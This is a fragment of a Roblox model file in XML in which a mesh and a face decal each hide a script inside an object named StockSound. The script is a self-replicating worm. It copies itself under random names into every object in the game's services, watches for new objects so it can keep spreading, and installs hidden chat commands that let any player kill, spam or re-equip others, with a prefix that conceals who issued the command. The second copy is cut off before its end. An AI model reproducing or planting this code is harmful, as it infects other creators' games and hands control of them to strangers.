					<Item class="SpecialMesh" referent="RBX67">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.25</X>
								<Y>1.25</Y>
								<Z>1.25</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX68">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">dc6f6</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX69">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">8nly5n</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Decal" referent="RBX70">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">face</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><hash>b0c3fd281c77535b29d7d191d47d580e</hash></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX71">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">yjrt22</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX72">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">r3ukmb61</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
